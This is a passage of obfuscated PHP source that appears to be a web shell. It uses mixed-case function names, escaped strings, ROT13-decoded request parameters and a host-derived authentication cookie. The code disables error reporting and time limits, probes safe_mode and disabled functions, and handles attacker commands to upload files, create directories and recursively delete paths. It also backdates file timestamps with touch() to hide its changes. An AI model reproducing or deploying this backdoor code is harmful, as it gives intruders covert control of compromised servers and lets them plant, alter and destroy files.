hsh = "fa704e7366d666bd"; $this->_i = "_" . sUbSTr(mD5($_SERVER["HTTP_HOST"]), -056 - -0152 - 074, 075 + 0146 + -0240); $this->_taj = "#d\1465"; $this->_hej = "Windows-1251"; if (!@isset($_COOKIE[$this->_i]) || ($_COOKIE[$this->_i] != $this->hsh)) $this->SetcOoK($this->_i, $this->hsh); } function sTArTUP() { if (FUNCTION_exiSTS("ini_\x67et")) { $_vpb = @INI_geT("safe_mode"); $_cp = @INi_geT("disable_functions"); } if (!$_vpb && FUNCTion_ExiSts("error_r\145p\x6f\x72ting")) ERRoR_rePoRTINg((int)round(0 + 0)); if (!$_vpb && FUnCTIOn_ExIsTs("\163et_ti\155e_limit")) seT_tIME_limit((int)round(0 + 0)); if (fUNctIoN_eXiSTs("g\x65t_magic_\161uote\163\x5fg\160c") && fuNCTIon_ExIStS("ar\x72ay\137m\x61\x70") && fUNcTiOn_eXiSts("s\x74ripslas\x68es") && funCTion_exIstS("is_ar\162ay")) { if (@GeT_maGIC_quOtEs_gPC()) { function WSS($_a) { return @Is_arraY($_a) ? @ArRAY_MAp("WSS", $_a) : @STRIPslAshEs($_a); } $_POST = WSs($_POST); $_COOKIE = wss($_COOKIE); } } if (!FUnCtiON_EXIsts("posix_getpwuid") && (StrPOS($_cp, "\160osix_ge\164\160wuid") === false)) { function pOSiX_GeTpwUid($_l) { return false; } } if (!FUncTIoN_ExisTS("posix\137getgr\147id") && (StRPos($_cp, "p\157\x73ix_getgrgid") === false)) { function POsIx_GetgRgid($_l) { return false; } } if (StRtOlowER(suBSTr(PHP_OS, 01200 + -01200, (int)round(1.5 + 1.5))) == "win") $_vor = "w\151\156"; else $_vor = "nix"; $_wda = $_SERVER["\104O\x43UMENT_R\117OT"]; if (FUnctiOn_exIStS("getcwd")) $_zrt = @GeTcwD(); else $_zrt = @DIRname(__FILE__); if (isset($_POST["c"]) && $_POST["\143"] != "") $_POST["c"] = STR_ROt13($_POST["c"]); if (isset($_POST["c"])) { if (FunCTion_EXisTs("ch\x64ir")) @CHDir($_POST["c"]); } if (FuNCtION_eXiSTS("g\x65tcwd")) { $_za = @GeTcwd(); } elseif (@isset($_POST["c"]) && $_POST["c"] != "") $_za = $_POST["c"]; else $_za = $_zrt; if ($_vor == "w\151\156") { $_zrt = Str_REPlAcE("\134", "/", $_zrt); $_za = StR_rEplaCE("\134", "/", $_za); } if ($_za[Strlen($_za) - (0577 - -0621 - 01417)] != "/") $_za .= "/"; $this->_cp = $_cp; $this->_za = $_za; $this->_zrt = $_zrt; $this->_wda = $_wda; $this->_vpb = $_vpb; $this->_vor = $_vor; } function ActloGOuT() { $_i = $this->_i; SETCOokIE($_i, "", TimE() - (int)round(1800 + 1800)); die("bye!"); } function aCtFm() { $_za = $this->_za; if (!empty($_POST["p"])) { $_ozl = @FiLEMTIme($_POST["c"]); switch ($_POST["p"]) { case "uploadFil\145": if (!@MoVE_UPLOADeD_FIle($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) echo "Can'\x74 up\154\157ad file!"; elseif ($_ozl) @tOUcH($_FILES["\x66"]["name"], $_ozl, $_ozl); break; case "mk\144ir": if (!@mKDir(stR_roT13($_POST["x"]))) echo "Can't c\x72eate new dir"; elseif ($_ozl) @TOucH(StR_Rot13($_POST["\x78"]), $_ozl, $_ozl); break; case "delete": function DELETedIR($_we) { $_we = (suBStr($_we, -(int)round(0.5 + 0.5)) == "/") ? $_we : $_we . "/"; if ($_hcf = @oPEnDIR($_we)) { while (($_nos = @reaDDIr($_hcf)) !== false) { $_nos = $_we . $_nos; if ((@bAseName($_nos) == ".\x2e") || (@BASENAmE($_nos) == ".")) continue; $_ei = @fIletYPe($_nos); if ($_ei == "dir") DeLEtedIR($_nos); else @uNLink($_nos); } @CLOsedir($_hcf); } @RMdir($_we); } if (@Is_ARrAY($_POST["f"])) foreach ($_POST["f"] as $_rb) { if ($_rb == "..") continue; $_rb = STR_ROt13(URLdECodE($_rb)); if (@is_diR($_rb)) dElETEdIr($_rb); else @uNlInk($_rb); } break; } if ($_ozl) ToUcH($_POST["\143"], $_ozl, $_ozl); } echo "